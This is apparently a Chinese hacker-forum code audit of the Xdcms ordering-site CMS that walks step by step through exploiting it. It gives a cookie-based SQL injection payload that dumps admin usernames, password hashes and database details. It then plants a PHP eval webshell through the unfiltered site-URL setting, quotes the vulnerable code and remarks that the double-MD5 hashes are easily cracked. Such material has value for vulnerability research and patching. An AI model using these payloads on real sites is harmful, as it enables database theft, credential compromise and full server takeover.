Xdcms 订餐网站管理系统代码审计
直接问题URL:http://www.xxx.com/index.php?m=member&f=edit
问题文件名:/system/modules/member/index.php
$userid=$_COOKIE['member_userid']; 采用cookie 调用member_userid附给$userid
然后没有经过任何过滤的直接进入了sql查询语句,并且没有单引号哦。
利用方法:
为了自己新手方便我使用了火狐浏览器的edit cookies插件来修改
1、 先随便注册一个账号
(注册跟登录的时候老是提示验证码不正确,为止我把判断验证码的地方直接给注释掉了)
有两处哦。
2、 登录进后台然后点击 资料管理
3、 在工具 – edit cookies 打开插件
因为我是本地测试IP是127.0.0.1 所以我直接搜索127.0.0.1
通过下拉菜单找到 member_userid 这个, 再点击edit 进入编辑
4、语句 -6 Union seLect 1,2,username,4,5,6,7,8,9,10,11,user(),password,database(),version() fRom c_admin
来张效果图
接下来后台拿shell部分了
由于太晚了要回家睡觉了,不然老婆不让睡床了。后台拿shell就不详细了。
方法好几个,我只掩饰其中一个,另外的大家去挖掘吧,一起分享学习。
先说利用方法再看代码。
1、后台登录页面的验证码一样要注释掉,不知道是不是我本地的PHP环境原因。
2、系统设置 – 基本信息 – 网站地址 中填入:
');?><?php eval($_POST[1]);?> 符号一个不能少不然会出错的。
一句话链接文件/system/xdcms.inc.php 密码1
要注意的事我这样闭合写法是加在url前面,这样改会引起网站出错
所以拿到shell后第一时间进行恢复回来
先来张成功的图
好了看代码分析吧
/system/modules/xdcms/setting.php
首先把函数用foreach循环读取进来给数组$info
if($tag=='config'){
//判断url是否以/结尾
$urlnum=strlen($info['siteurl'])-1;
if(substr($info['siteurl'],$urlnum,1)!="/"){
showmsg(C("update_url_error"),"-1");
}//end
$cms=SYS_PATH.'xdcms.inc.php'; //生成xdcms配置文件
$cmsurl="<?php\n
define('CMS_URL','".$info['siteurl']."');\n
define('TP_FOLDER','".$info['template']."');\n
define('TP_CACHE',".$info['caching'].");\n?>";
creat_inc($cms,$cmsurl);很明显了。没有过滤直接写入文件中来。生成配置文件。
这个利用有个满足条件。magic_quotes_gpc = Off的情况下
后台还有其它几个方法可以忽视掉这个直接拿shell。时间关系我就不写出来了
大家自己可以下载源码来研究学习一下。
加一句 这个MD5是双重加密
$password=md5(md5($password));
不过放到cmd5网站上面也是直接秒杀
from 90sec








